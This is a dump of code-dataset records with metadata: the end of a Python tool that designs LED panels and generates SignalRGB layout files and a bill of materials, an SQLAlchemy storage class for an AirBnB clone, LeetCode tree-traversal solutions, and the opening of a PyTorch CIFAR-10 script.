sheets assembly #{i}.\")\n\n # Make sure that the list of sheets is not empty.\n if len(materials) == 0:\n raise RuntimeError(\n f\"Error in assembly list 'sheets/{i}': no materials\"\n \" specified.\"\n )\n\n # Get the list of sheets that have to be purchased, and their\n # quantity.\n components, cost, _ = wp3.named_tree_search(\n [panel_material_data[m] for m in materials], len(visible_tiles)\n )\n logger.debug(\n f\"Optimal components in assembly: {components}. Total cost:\"\n f\" {cost}.\"\n )\n\n # For each sheet type to be purchased, add a line in the bill of\n # materials that specifies how many sheets to buy (or their length\n # in the case of variable-length sheets).\n for component, quantity in components:\n logger.debug(\n f\"Adding {quantity} units of '{component}' to the \"\n \"bill of materials.\"\n )\n url = materials_list[\"sheets\"][component.name].get(\"url\")\n url_md = f\"[url link]({url})\" if url is not None else \"\"\n if component.variable_size:\n quantity = np.round(component.height, 3)\n logger.debug(\n f\"Changed quantity to {quantity} for \"\n f\"variable-sized component '{component}'.\"\n )\n bill_of_materials.append(\n wp3.BillItem(\n name=component.name,\n quantity=quantity,\n cost=component.unit_cost,\n category=f\"sheets-{i}\",\n notes=url_md,\n )\n )\n\n # Since this material has to be purchased, copy its tiling\n # scheme from the temporary folder to the project.\n tiling_file_name = tiling_temp_dir.joinpath(\n f\"tiling_{component.name}.pdf\"\n )\n logger.info(\n f\"Saving tiling for '{component.name}' as \"\n f\"'{tiling_file_name.name}'.\"\n )\n shutil.copy(tiling_file_name, output_dir)\n else:\n logger.info(\n \"Parameter 'assembly/sheets' not found. You can add \"\n \"assemblies following the instructions available at \"\n \"https://github.com/francofusco/wp3#assembly-settings.\"\n )\n\n logger.debug(f\"Removing temporary folder '{tiling_temp_dir}'.\")\n shutil.rmtree(tiling_temp_dir)\n\n if settings.has(\"assembly\", \"leds\"):\n # Process LED materials: evaluate how many LED strips have to be\n # purchased.\n for i, materials in enumerate(settings[\"assembly\"][\"leds\"]):\n logger.debug(f\"Processing leds assembly #{i}.\")\n\n # Make sure that the list of strips is not empty.\n if len(materials) == 0:\n raise RuntimeError(\n f\"Error in assembly list 'leds/{i}': no materials\"\n \" specified.\"\n )\n\n # Check if all strips in this assembly have the same LED density.\n led_density = materials_list[\"leds\"][materials[0]][\"leds_per_meter\"]\n logger.debug(\n f\"Checking LEDs densities. {materials[0]}: {led_density}.\"\n )\n for m in materials[:1]:\n m_density = materials_list[\"leds\"][m][\"leds_per_meter\"]\n logger.debug(f\"Checking LEDs densities. {m}: {m_density}.\")\n if m_density != led_density:\n raise RuntimeError(\n f\"Error in assembly list 'leds/{i}'. The components \"\n f\"'{materials[0]}' and '{m}' have a different amount \"\n \"of LEDs per meter.\"\n )\n\n # Evaluate how many LEDs should be inserted in a single strip and\n # how many meters would be needed to have all tiles filled with\n # LEDs.\n leds_per_tile_float = visible_tiles[0].perimeter() * led_density\n logger.debug(f\"LEDs per tile (raw): {leds_per_tile_float}.\")\n if np.allclose(np.round(leds_per_tile_float), leds_per_tile_float):\n logger.debug(\n \"The number of LEDs per tile is almost equal to \"\n \"its next integer value. The difference is so \"\n \"small that it likely is due to rounding errors.\"\n )\n leds_per_tile = np.round(leds_per_tile_float).astype(int)\n else:\n logger.debug(\"Rounding down the number of LEDs.\")\n leds_per_tile = np.floor(\n visible_tiles[0].perimeter() * led_density\n ).astype(int)\n required_led_length = (\n len(visible_tiles) * leds_per_tile / led_density\n )\n logger.debug(\n f\"LEDs per tile: {leds_per_tile}; required strip \"\n f\"length: {required_led_length}.\"\n )\n\n # Get the list of strips that have to be purchased, and their\n # quantity.\n components, cost, _ = wp3.named_tree_search(\n [\n wp3.Struct(\n name=m,\n value=materials_list[\"leds\"][m][\"number_of_leds\"]\n / materials_list[\"leds\"][m][\"leds_per_meter\"],\n cost=materials_list[\"leds\"][m].get(\"cost\", 0),\n )\n for m in materials\n ],\n required_led_length,\n )\n logger.debug(\n f\"Optimal components in assembly: {components}. Total cost:\"\n f\" {cost}.\"\n )\n\n # For each strip type to be purchased, add a line in the bill of\n # materials that specifies how many to buy.\n for component, quantity in components:\n logger.debug(\n f\"Adding {quantity} units of '{component}' to the \"\n \"bill of materials.\"\n )\n led_notes = f\"Leds per tile: {leds_per_tile}.\"\n url = materials_list[\"leds\"][component.name].get(\"url\")\n if url is not None:\n led_notes += f\" [url link]({url})\"\n bill_of_materials.append(\n wp3.BillItem(\n name=component.name,\n quantity=quantity,\n cost=component.cost,\n category=f\"leds-{i}\",\n notes=led_notes,\n )\n )\n\n # If wattage information is provided for all strips, try to estimate\n # the total wattage required to power the LEDs and add this\n # information to the bill of materials (as a PSU item).\n watts = sum(\n n * materials_list[\"leds\"][c.name].get(\"watts\", np.nan)\n for c, n in components\n )\n logger.debug(f\"Estimated wattage of the LED assembly: {watts}.\")\n if not np.isnan(watts):\n bill_of_materials.append(\n wp3.BillItem(\n name=f\"{watts}W Power Supply Unit\",\n category=f\"leds-{i}\",\n notes=(\n \"The power has been estimated. You might need a\"\n \" lower wattage.\"\n ),\n )\n )\n else:\n materials_with_no_watts = [\n c.name\n for c, _ in components\n if \"watts\" not in materials_list[\"leds\"][c.name]\n ]\n logger.info(\n f\"Could not estimate wattage for LED assembly #{i} \"\n \"since the following materials do not have the \"\n \"'watts' property: \"\n f\"{', '.join(materials_with_no_watts)}.\"\n )\n\n # Knowing the number of LEDs per tile, we can provide a detailed\n # scheme of the wiring. This information is stored in a PDF document\n # that can be viewed by the user.\n fig, ax = wp3.tight_figure(visible_tiles)\n wp3.add_tiles_to_axes(\n visible_tiles,\n ax,\n copy=True,\n patch_color=\"white\",\n border_color=\"lightgray\",\n )\n routing.plot_detailed_routing(\n best_routing, visible_tiles, leds_per_tile, ax\n )\n detailed_routing_file_name = output_dir.joinpath(\n f\"wp3_routing_{leds_per_tile}_leds_per_tile.pdf\"\n )\n logger.info(\n f\"Saving detailed routing for assembly #{i} into \"\n f\"'{detailed_routing_file_name}'.\"\n )\n fig.savefig(\n detailed_routing_file_name, bbox_inches=\"tight\", dpi=500\n )\n plt.close(\"all\")\n\n # Options for SignalRGB components.\n signal_rgb_settings = settings.get(\"signal_rgb\", wp3.SettingsDict())\n\n # Generate a component file for SignalRGB. The component in the\n # \"Layouts\" page will be a rectangle with maximum dimenions equal to\n # 100 - an arbitrary number that seems reasonable on my PC.\n width, height = wp3.get_bounding_box_size(visible_tiles)\n scale = signal_rgb_settings.get(\"component_size\", 20) / max(\n width, height\n )\n width *= scale\n height *= scale\n signal_rgb_name_prefix = signal_rgb_settings.get(\n \"name_prefix\", f\"WP3 {output_dir.name}\"\n )\n signal_rgb_data = {\n \"ProductName\": signal_rgb_name_prefix,\n \"DisplayName\": signal_rgb_name_prefix,\n \"Brand\": \"WP3\",\n \"Type\": \"custom\",\n \"LedCount\": int(len(visible_tiles) * leds_per_tile),\n \"Width\": int(width),\n \"Height\": int(height),\n \"LedMapping\": [],\n \"LedCoordinates\": [],\n \"LedNames\": [],\n }\n\n # Get the origin of the bounding box, to properly shift LEDs towards\n # the bottom-left corner.\n origin, _ = wp3.get_bounding_box(visible_tiles)\n\n # Store, for each LED in the routing path, its name and coordinates.\n for segment in routing.get_detailed_routing_points(\n best_routing, visible_tiles, leds_per_tile\n ):\n for led in segment:\n led_idx = len(signal_rgb_data[\"LedMapping\"])\n signal_rgb_data[\"LedMapping\"].append(led_idx)\n led_coordinates = (led - origin) * scale\n led_coordinates[1] = height - led_coordinates[1]\n signal_rgb_data[\"LedCoordinates\"].append(\n led_coordinates.tolist()\n )\n signal_rgb_data[\"LedNames\"].append(\n f\"Led {led_idx} (tile {led_idx//leds_per_tile})\"\n )\n logger.debug(\n \"Created SignalRGB component \"\n f\"'{signal_rgb_data['DisplayName']}' with dimenions \"\n f\"{signal_rgb_data['Width']}x\"\n f\"{signal_rgb_data['Height']}\"\n f\"{len(signal_rgb_data['LedCoordinates'])} LEDs.\"\n )\n\n # Save the generated data into a JSON file that can be imported into\n # SignalRGB to define the custom LED geometry.\n signal_rgb_component_file = output_dir.joinpath(\n f\"wp3_signal_rgb_{output_dir.name}_{leds_per_tile}_leds.json\"\n )\n logger.info(\n \"Saving SignalRGB component into\"\n f\" '{signal_rgb_component_file}'.\"\n )\n with open(signal_rgb_component_file, \"w\") as f:\n json.dump(signal_rgb_data, f)\n\n # Generate and alternative file for SignalRGB with all LEDs in the\n # centers of the tiles.\n dev_name = f\"{signal_rgb_name_prefix} centered\"\n signal_rgb_data[\"ProductName\"] = dev_name\n signal_rgb_data[\"DisplayName\"] = dev_name\n for i, t in enumerate(best_routing[0]):\n led_coordinates = (\n (visible_tiles[t].center() - origin) * scale\n ).tolist()\n led_coordinates[1] = height - led_coordinates[1]\n for j in range(leds_per_tile):\n signal_rgb_data[\"LedCoordinates\"][\n leds_per_tile * i + j\n ] = led_coordinates\n logger.debug(\n \"Created SignalRGB component \"\n f\"'{signal_rgb_data['DisplayName']}' with dimenions \"\n f\"{signal_rgb_data['Width']}x\"\n f\"{signal_rgb_data['Height']}\"\n f\"{len(signal_rgb_data['LedCoordinates'])} LEDs.\"\n )\n\n # Save the generated data into a JSON file that can be imported into\n # SignalRGB to define the custom LED geometry.\n signal_rgb_component_file = output_dir.joinpath(\n f\"wp3_signal_rgb_{output_dir.name}_{leds_per_tile}_leds_centered.json\"\n )\n logger.info(\n \"Saving SignalRGB component into\"\n f\" '{signal_rgb_component_file}'.\"\n )\n with open(signal_rgb_component_file, \"w\") as f:\n json.dump(signal_rgb_data, f)\n\n # Generate a file for SignalRGB corresponding to a single tile.\n tile_width, tile_height = wp3.get_bounding_box_size(\n [visible_tiles[0]]\n )\n tile_scale = signal_rgb_settings.get(\"tile_size\", 10) / max(\n tile_width, tile_height\n )\n tile_width *= tile_scale\n tile_height *= tile_scale\n tile_dev_name = f\"{signal_rgb_name_prefix} tile\"\n tile_signal_rgb_data = {\n \"ProductName\": tile_dev_name,\n \"DisplayName\": tile_dev_name,\n \"Brand\": \"WP3\",\n \"Type\": \"custom\",\n \"LedCount\": int(leds_per_tile),\n \"Width\": int(tile_width),\n \"Height\": int(tile_height),\n \"LedMapping\": [],\n \"LedCoordinates\": [],\n \"LedNames\": [],\n }\n\n # Get the origin of the bounding box, to properly shift LEDs towards\n # the bottom-left corner.\n tile_origin, _ = wp3.get_bounding_box([visible_tiles[0]])\n\n # Store, for each LED in the tile, its name and coordinates.\n for led in visible_tiles[0].sample_perimeter(\n leds_per_tile, 0, border=-1\n ):\n led_idx = len(tile_signal_rgb_data[\"LedMapping\"])\n tile_signal_rgb_data[\"LedMapping\"].append(led_idx)\n led_coordinates = (led - tile_origin) * tile_scale\n led_coordinates[1] = tile_height - led_coordinates[1]\n tile_signal_rgb_data[\"LedCoordinates\"].append(\n led_coordinates.tolist()\n )\n tile_signal_rgb_data[\"LedNames\"].append(f\"Led {led_idx}\")\n logger.debug(\n \"Created SignalRGB component \"\n f\"'{tile_signal_rgb_data['DisplayName']}' with \"\n f\"dimenions {tile_signal_rgb_data['Width']}x\"\n f\"{tile_signal_rgb_data['Height']}\"\n f\"{len(tile_signal_rgb_data['LedCoordinates'])} LEDs.\"\n )\n\n # Save the generated data into a JSON file that can be imported into\n # SignalRGB to define the custom LED geometry.\n signal_rgb_component_file = output_dir.joinpath(\n f\"wp3_signal_rgb_{output_dir.name}_{leds_per_tile}_leds_tile.json\"\n )\n logger.info(\n \"Saving SignalRGB component into\"\n f\" '{signal_rgb_component_file}'.\"\n )\n with open(signal_rgb_component_file, \"w\") as f:\n json.dump(tile_signal_rgb_data, f)\n\n # Generate and alternative file for SignalRGB with all LEDs in the\n # centers of the tile.\n tile_dev_name = f\"{signal_rgb_name_prefix} tile centered\"\n tile_signal_rgb_data[\"ProductName\"] = tile_dev_name\n tile_signal_rgb_data[\"DisplayName\"] = tile_dev_name\n led_coordinates = (\n (visible_tiles[0].center() - tile_origin) * tile_scale\n ).tolist()\n led_coordinates[1] = tile_height - led_coordinates[1]\n for i in range(leds_per_tile):\n tile_signal_rgb_data[\"LedCoordinates\"][i] = led_coordinates\n logger.debug(\n \"Created SignalRGB component \"\n f\"'{tile_signal_rgb_data['DisplayName']}' with \"\n f\"dimenions {tile_signal_rgb_data['Width']}x\"\n f\"{tile_signal_rgb_data['Height']}\"\n f\"{len(tile_signal_rgb_data['LedCoordinates'])} LEDs.\"\n )\n\n # Save the generated data into a JSON file that can be imported into\n # SignalRGB to define the custom LED geometry.\n signal_rgb_component_file = output_dir.joinpath(\n f\"wp3_signal_rgb_{output_dir.name}_{leds_per_tile}_leds_tile_centered.json\"\n )\n logger.info(\n \"Saving SignalRGB component into\"\n f\" '{signal_rgb_component_file}'.\"\n )\n with open(signal_rgb_component_file, \"w\") as f:\n json.dump(tile_signal_rgb_data, f)\n\n # Download the SRGBmods Pico firmware.\n logger.info(\"Downloading Pico firmware from SRGBmods.\")\n wp3.download_pico_firmware(\n output_dir,\n f\"{signal_rgb_name_prefix}.ino\",\n np.array(routing.tiles_per_segment()) * leds_per_tile,\n [],\n )\n else:\n logger.info(\n \"Parameter 'assembly/leds' not found. You can add \"\n \"assemblies following the instructions available at \"\n \"https://github.com/francofusco/wp3#assembly-settings.\"\n )\n\n # Add to the bill of materials one entry that corresponds to the number of\n # connectors to be purchased.\n bill_of_materials.append(\n wp3.BillItem(\n name=\"3 pin connectors\",\n quantity=len(visible_tiles),\n category=\"wiring\",\n notes=\"The quantity refers to male/female pairs.\",\n )\n )\n\n # Print the bill of materials into a file.\n bill_of_materials_file_name = output_dir.joinpath(\"bill_of_materials.md\")\n logger.info(\n f\"Saving bill of materials into '{bill_of_materials_file_name}'.\"\n )\n wp3.BillItem.dump_to_markdown(\n bill_of_materials, bill_of_materials_file_name\n )\n\n\nif __name__ == \"__main__\":\n # Use argparse to deal with command-line arguments.\n parser = argparse.ArgumentParser(\n description=(\n \"Create a custom design of A-RGB panels to be used in SignalRGB.\"\n )\n )\n parser.add_argument(\n \"--verbose\",\n \"--info\",\n action=\"store_true\",\n help=\"Outputs additional information on the console to help debugging.\",\n )\n parser.add_argument(\n \"--debug\",\n action=\"store_true\",\n help=(\n \"Outputs \"\n \"additional information on the console to help \"\n \"debugging. This is even more verbose than --verbose.\"\n ),\n )\n args = parser.parse_args()\n\n # Create log handler that appends all messages to a file. This allows to\n # keep a log of all runs.\n all_runs_handler = logging.FileHandler(\".wp3_all_runs.log\")\n all_runs_handler.setLevel(logging.DEBUG)\n\n # Create log handler that prints all messages to a file, but it clears its\n # content before starting. This allows to keep a long of the last run.\n last_run_handler = logging.FileHandler(\".wp3_last_run.log\", mode=\"w\")\n last_run_handler.setLevel(logging.DEBUG)\n\n # Create a log handler that prints messages with given severity on stdout.\n stream_handler = logging.StreamHandler()\n stream_handler.setLevel(\n logging.DEBUG\n if args.debug\n else logging.INFO\n if args.verbose\n else logging.WARNING\n )\n\n # Setup logging.\n logging.basicConfig(\n format=\"%(levelname)s (%(name)s): %(message)s\",\n handlers=[all_runs_handler, last_run_handler, stream_handler],\n )\n logger.setLevel(logging.DEBUG)\n logging.getLogger(\"wp3\").setLevel(logging.DEBUG)\n\n # Run the main script and catch all exceptions.\n try:\n main()\n except Exception as e:\n if not isinstance(e, SystemExit):\n # Create a \"fancy error message\". One of the reasons for this\n # over-complicated formatting choice is that, in this way, errors\n # can be located more easily in log files.\n wraplen = 65\n msg = [\"Execution stopped unexpectedly. Reason:\", \"\"]\n msg += [\n \"> \" + s\n for s in textwrap.wrap(f\"{type(e).__name__}: {e}\", wraplen - 2)\n ]\n msg += [\"\"]\n msg += textwrap.wrap(\n \"If this is not the result of your mistake, \"\n \"consider opening an issue at: \"\n \"https://github.com/francofusco/wp3/issues/new\",\n wraplen,\n )\n max_len = max(map(len, msg))\n headline = \"+\" + \"-\" * (max_len + 2) + \"+\"\n msg_ind = [\"| \" + m + \" \" * (max_len - len(m)) + \" |\" for m in msg]\n logger.exception(\n \"\\n\".join([\"\\n\", headline] + msg_ind + [headline, \"\\n\"]),\n exc_info=e,\n )\n\n # If the script is being run from the executable generated with\n # PyInstaller, it is necessary to block the execution here. Otherwise,\n # the user would not have the time to read the error message!\n if getattr(sys, \"frozen\", False) and hasattr(sys, \"_MEIPASS\"):\n print(\"\\nPress CTRL+C to exit, or close the terminal window.\")\n try:\n while True:\n pass\n except KeyboardInterrupt:\n pass\n", "repo_name": "francofusco/wp3", "sub_path": "wp3_designer.py", "file_name": "wp3_designer.py", "file_ext": "py", "file_size_in_byte": 38859, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.rcParams", "line_number": 17, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "wp3.open_project", "line_number": 24, "usage_type": "call"}, {"api_name": "wp3.load_materials", "line_number": 28, "usage_type": "call"}, {"api_name": "wp3.Tile.load_tile_type", "line_number": 39, "usage_type": "call"}, {"api_name": "wp3.Tile", "line_number": 39, "usage_type": "attribute"}, {"api_name": "wp3.get_bounding_box_size", "line_number": 77, "usage_type": "call"}, {"api_name": "wp3.tight_figure", "line_number": 81, "usage_type": "call"}, {"api_name": "wp3.add_tiles_to_axes", "line_number": 84, "usage_type": "call"}, {"api_name": "wp3.toggle_tile_if_clicked", "line_number": 94, "usage_type": "call"}, {"api_name": "wp3.toggle_all_tiles", "line_number": 102, "usage_type": "call"}, {"api_name": "wp3.Struct", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.colormaps", "line_number": 121, "usage_type": "name"}, {"api_name": "time.time", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "wp3.update_initial_tiling", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 156, "usage_type": "call"}, {"api_name": "wp3.Routing", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 168, "usage_type": "call"}, {"api_name": "wp3.tight_figure", "line_number": 209, "usage_type": "call"}, {"api_name": "wp3.add_tiles_to_axes", "line_number": 212, "usage_type": "call"}, {"api_name": "wp3.Struct", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 258, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 258, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 271, "usage_type": "call"}, {"api_name": "wp3.update_cached_routing", "line_number": 289, "usage_type": "call"}, {"api_name": "wp3.BillItem", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 351, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 352, "usage_type": "call"}, {"api_name": "wp3.get_bounding_box_size", "line_number": 353, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 366, "usage_type": "call"}, {"api_name": "wp3.get_bounding_box_area", "line_number": 367, "usage_type": "call"}, {"api_name": "wp3.Struct", "line_number": 381, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 385, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 391, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 391, "usage_type": "name"}, {"api_name": "wp3.add_tiles_to_axes", "line_number": 404, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 412, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 412, "usage_type": "name"}, {"api_name": "wp3.named_tree_search", "line_number": 429, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 448, "usage_type": "call"}, {"api_name": "wp3.BillItem", "line_number": 454, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 472, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 481, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 516, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 516, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 522, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 525, "usage_type": "call"}, {"api_name": "wp3.named_tree_search", "line_number": 538, "usage_type": "call"}, {"api_name": "wp3.Struct", "line_number": 540, "usage_type": "call"}, {"api_name": "wp3.BillItem", "line_number": 567, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 580, "usage_type": "attribute"}, {"api_name": "numpy.isnan", "line_number": 584, "usage_type": "call"}, {"api_name": "wp3.BillItem", "line_number": 586, "usage_type": "call"}, {"api_name": "wp3.tight_figure", "line_number": 611, "usage_type": "call"}, {"api_name": "wp3.add_tiles_to_axes", "line_number": 612, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 632, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 632, "usage_type": "name"}, {"api_name": "wp3.SettingsDict", "line_number": 635, "usage_type": "call"}, {"api_name": "wp3.get_bounding_box_size", "line_number": 640, "usage_type": "call"}, {"api_name": "wp3.get_bounding_box", "line_number": 664, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 699, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 733, "usage_type": "call"}, {"api_name": "wp3.get_bounding_box_size", "line_number": 736, "usage_type": "call"}, {"api_name": "wp3.get_bounding_box", "line_number": 760, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 792, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 823, "usage_type": "call"}, {"api_name": "wp3.download_pico_firmware", "line_number": 827, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 830, "usage_type": "call"}, {"api_name": "wp3.BillItem", "line_number": 843, "usage_type": "call"}, {"api_name": "wp3.BillItem.dump_to_markdown", "line_number": 856, "usage_type": "call"}, {"api_name": "wp3.BillItem", "line_number": 856, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 863, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 887, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 888, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 892, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 893, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 896, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 898, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 900, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 902, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 906, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 910, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 911, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 911, "usage_type": "attribute"}, {"api_name": "textwrap.wrap", "line_number": 925, "usage_type": "call"}, {"api_name": "textwrap.wrap", "line_number": 928, "usage_type": "call"}]} {"seq_id": "30668005969", "text": "#!/usr/bin/python3\n\"\"\"This module defines a class to manage data base storage for hbnb clone\"\"\"\nfrom models.base_model import BaseModel, Base\nfrom sqlalchemy import (create_engine)\nfrom sqlalchemy.orm import sessionmaker\nfrom models.amenity import Amenity\nfrom models.city import City\nfrom models.place import Place\nfrom models.review import Review\nfrom models.state import State\nfrom models.user import User\nfrom os import getenv\nfrom sqlalchemy.orm import scoped_session\nfrom sqlalchemy.orm import sessionmaker\n\nclasses = {\n 'BaseModel': BaseModel, 'User': User, 'Place': Place,\n 'State': State, 'City': City, 'Amenity': Amenity,\n 'Review': Review\n}\n\n\nclass DBStorage:\n __engine = None\n __session = None\n\n def __init__(self):\n \"\"\"Instatntiates the database storage to create the engine\"\"\"\n self.__engine = create_engine('mysql+mysqldb://{}:{}@{}/{}'.\n format(getenv(\"HBNB_MYSQL_USER\"),\n getenv(\"HBNB_MYSQL_PWD\"),\n getenv(\"HBNB_MYSQL_HOST\"),\n getenv(\"HBNB_MYSQL_DB\"),\n pool_pre_ping=True))\n\n if getenv(\"HBNB_ENV \") == 'test':\n Base.metadata.drop_all(self.__engine)\n\n def all(self, cls=None):\n \"\"\"query on the current database session\"\"\"\n dic_of_objects = {}\n if cls and cls in classes.values():\n all_objetcs = self.__session.query(cls).all()\n for obj in all_objetcs:\n key = \"{}.{}\".format(obj.__class__.__name__, obj.id)\n value = obj\n dic_of_objects[key] = value\n elif cls is None:\n # acá guarda clase por clase todas sus filas en caso tal de que\n # la clase No esté vacía.\n for cls in classes.values():\n all_objetcs = self.__session.query(cls).all()\n for obj in all_objetcs:\n key = \"{}.{}\".format(obj.__class__.__name__, obj.id)\n value = obj\n dic_of_objects[key] = value\n return dic_of_objects\n\n def new(self, obj):\n \"\"\"Method to add the object to the current database session\"\"\"\n if obj:\n self.__session.add(obj)\n\n def save(self):\n \"\"\"Method to commit all changes of the current database session\"\"\"\n self.__session.commit()\n\n def delete(self, obj=None):\n \"\"\"Method delete from the current database session obj if not None\"\"\"\n # obj = cls.id, dentro de una clae, sería una fila de esa clase\n if obj:\n self.__session.delete((obj))\n\n def reload(self):\n \"\"\"create all tables in the database\"\"\"\n Base.metadata.create_all(self.__engine)\n session_factory = sessionmaker(\n bind=self.__engine, expire_on_commit=False)\n Session = scoped_session(session_factory)\n self.__session = Session()\n\n def close(self):\n \"\"\" Call close() on the class Session\n \"\"\"\n return self.__session.close()\n", "repo_name": "MiguelMR96/AirBnB_clone_v2", "sub_path": "models/engine/db_storage.py", "file_name": "db_storage.py", "file_ext": "py", "file_size_in_byte": 3122, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.base_model.BaseModel", "line_number": 17, "usage_type": "name"}, {"api_name": "models.user.User", "line_number": 17, "usage_type": "name"}, {"api_name": "models.place.Place", "line_number": 17, "usage_type": "name"}, {"api_name": "models.state.State", "line_number": 18, "usage_type": "name"}, {"api_name": "models.city.City", "line_number": 18, "usage_type": "name"}, {"api_name": "models.amenity.Amenity", "line_number": 18, "usage_type": "name"}, {"api_name": "models.review.Review", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 29, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 30, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 31, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 32, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 33, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 36, "usage_type": "call"}, {"api_name": "models.base_model.Base.metadata.drop_all", "line_number": 37, "usage_type": "call"}, {"api_name": "models.base_model.Base.metadata", "line_number": 37, "usage_type": "attribute"}, {"api_name": "models.base_model.Base", "line_number": 37, "usage_type": "name"}, {"api_name": "models.base_model.Base.metadata.create_all", "line_number": 76, "usage_type": "call"}, {"api_name": "models.base_model.Base.metadata", "line_number": 76, "usage_type": "attribute"}, {"api_name": "models.base_model.Base", "line_number": 76, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 77, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.scoped_session", "line_number": 79, "usage_type": "call"}]} {"seq_id": "14198739205", "text": "# from pudb import set_trace; set_trace()\nfrom typing import List\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution1:\n def preorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n \"\"\"LeetCode 144\n\n 32 ms, 68% ranking.\n \"\"\"\n if not root:\n return []\n left = self.preorderTraversal(root.left)\n right = self.preorderTraversal(root.right)\n return [root.val] + left + right\n\n\nclass Solution2:\n def preorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n \"\"\"\n 28 ms, 87% ranking.\n \"\"\"\n res = []\n\n def dfs(node: Optional[TreeNode]) -> None:\n if node:\n res.append(node.val)\n dfs(node.left)\n dfs(node.right)\n\n dfs(root)\n return res\n\n# sol = Solution3()\n# tests = [\n# ('abab', True),\n# ('aba', False),\n# ('abcabcabcabc', True),\n# ('abcabcababcabcab', True),\n# ('abcbac', False),\n# ('aabaabaab', True),\n# ('a', False),\n# ('aaaaaaa', True),\n# ('aaaaab', False),\n# ]\n\n# for i, (s, ans) in enumerate(tests):\n# res = sol.repeatedSubstringPattern(s)\n# if res == ans:\n# print(f'Test {i}: PASS')\n# else:\n# print(f'Test {i}; Fail. Ans: {ans}, Res: {res}')\n", "repo_name": "FanchenBao/leetcode", "sub_path": "LeetCode_144.py", "file_name": "LeetCode_144.py", "file_ext": "py", "file_size_in_byte": 1439, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 27, "usage_type": "name"}]} {"seq_id": "19637816840", "text": "import torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom torchvision.transforms import ToTensor\nfrom torchsummary import summary\nfrom MY_DLIP import *\n\n# Get cpu or gpu device for training.\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\nprint(f\"Using {device} device\")\nif torch.cuda.is_available(): print(f'Device name: {torch.cuda.get_device_name(0)}') \n\n# torchvision 을 통한 CIFAR10 다운로드\ntransform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)), \n])\n\ntraining_data = datasets.CIFAR10(\n root=\"data\",\n 